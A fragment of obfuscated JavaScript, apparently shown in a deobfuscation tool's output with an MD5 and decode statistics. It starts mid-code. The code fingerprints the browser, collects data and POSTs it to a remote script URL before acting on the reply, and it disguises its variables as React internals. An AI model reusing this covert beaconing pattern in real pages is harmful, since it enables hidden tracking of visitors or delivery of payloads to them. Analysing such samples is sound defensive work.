document['createElement']('video')['canPlayType']('video/mp4');});}catch(react_checkdce){}}catch(react_oldprops){reactfake['push'](react_oldprops['message']);}(function(){react_tagdisplayname['errors']=reactfake,react_tagdisplayname['cid']=react_get['cid'];var react_options=new FormData();react_options['append']('data',JSON['stringify'](react_tagdisplayname));var react_loaded=new XMLHttpRequest();react_loaded['open']('POST',react_maskunits['getAttribute']('src'),!0x1),react_loaded['onreadystatechange']=function(){0x4===this['readyState']&&0xc8===this['status']&&react_autocomplete(JSON['parse'](this['responseText']));},react_loaded['send'](react_options);}());}());
Function Calls
None |
Stats
MD5 | 2dce6bb70dd763a12d2ae4a4291832e2 |
Eval Count | 0 |
Decode Time | 49 ms |